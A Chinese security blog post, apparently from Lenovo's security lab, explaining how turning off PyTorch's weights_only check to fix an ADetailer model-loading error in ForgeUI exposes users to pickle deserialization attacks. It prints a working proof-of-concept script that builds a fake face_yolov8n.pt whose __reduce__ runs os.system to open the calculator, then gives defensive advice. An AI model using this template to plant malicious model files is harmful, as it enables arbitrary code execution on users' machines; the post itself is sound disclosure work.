乐于分享
好东西不私藏

ADetailer插件安全问题分享

ADetailer插件安全问题分享

点击蓝字 关注我们

问题背景

半年前在使用ForgeUI中配合ADetailer插件生成AI图片的时候发现一个安全性问题,跟大家分享一下。

ForgeUI(也常叫 Stable Diffusion WebUI Forge)是基于原版 SD WebUI 重构的 AI 绘图前端工具,核心定位是 “更轻、更快、功能更强的文生图 / 图生图操作界面”。

ADetailer(全称 Advanced Detailer)是运行在ForgeUI/WebUI 中的扩展插件,核心定位是 “自动检测并修复图片中模糊 / 崩坏的细节”。

在使用face_yolov8n.pt模型修复面部的时候,发现一直没生效,打开控制台发现在报错。但看报错感觉问题不大,就找了一下解决方案,无论是问AI还是看一些帖子都提到了好多解决方案,一堆参数还有一些非常陌生的专业名词和方法,但自己当时很没耐心,作为一个工具的用户,当时只想简单直接地把问题解决。再者,那么多乱七八糟的解决方案,既不想付出那个时间成本,也担心花了一通的时间折腾过来折腾过去结果没生效白搭功夫。

其中有一个解决方案比较简单:新版本工具代码中weight_only参数的值默认是True。face_yolov8n.pt模型文件在加载的时候包含了不被允许的对象,所以出现了无法加载的问题。想要加载这个模型文件可以把weight_only参数设置为False,但是这样会面临安全风险。 

参数修改重启之后,很顺利,确实好使了。 

等忙活完,因有提到这个参数存在安全风险,就关注了一下,毕竟安全无小事。 

核心风险原理

ADetailer中插件代码中用到了PyTorch。PyTorch 加载.pt/.pth模型文件时,若torch.load()默认使用weights_only=False,会触发 Python pickle模块的完整反序列化 —— 而 pickle 支持序列化类 / 函数,恶意攻击者可在模型文件中植入恶意代码,加载时直接执行(比如删文件、偷数据、执行系统命令)。

构造含恶意代码的

 “假模型文件”

import torch import os # 定义恶意类:核心是__reduce__方法(反序列化时自动执行) class FakeModel    def __init__(self):         # 伪装成正常模型的属性(增加迷惑性)         self.state_dict = {"fake_weight": torch.randn(1010)}  # 假权重张量         self.model_name = "yolov8n"  # 伪装成YOLO模型         self.version = "1.0"     def __reduce__(self):         # 返回要执行的函数(os.system)和参数(命令字符串)         # start calc.exe是打开windows操作系统计算器的命令         return (os.system, ("start calc.exe",)) # 实例化恶意类(伪装成正常模型对象) malicious_obj = FakeModel() # 保存为.pt模型文件(看似正常的模型格式) torch.save(malicious_obj, "face_yolov8n.pt"print(f"假模型文件已生成:{os.path.abspath('face_yolov8n.pt')}"print("⚠️ 该文件仅用于安全测试,严禁传播/使用!"

运行验证

使用上方脚本生成的face_yolov8n.pt替换了之后,运行发现能够成功启动操作系统的计算器。

总结

很多用户在使用的时候肯定也会遇到我类似的问题场景,也许他们也会选择尝试修改weights_only的值,如果他们拿到的face_yolov8n.pt模型文件本身是恶意的文件,那么他们也就中招了。

1)核心风险:weights_only=False允许 pickle 反序列化执行任意代码,恶意模型可偷数据 / 删文件 / 控设备;

2)最简防护:所有torch.load()调用都加weights_only=True,或全局设置默认安全模式;

3)关键原则:绝不加载来源不明的.pt/.pth模型,尤其是 AI 绘图的 LoRA/ADetailer 模型。

END.

往期精彩合集

浅谈ChatGPT|大语言模型安全

Raycast携ChatGPT升级个性化的高效工作环境

【重大福利在文末↓↓↓】CVE-2022-21198 Intel SMM 漏洞分析

物联网安全之FirmAE固件模拟仿真

如何保障服务器安全

模块化机房建设踩坑纪实

联想GIC全球安全实验室(中国)

chinaseclab@lenovo.com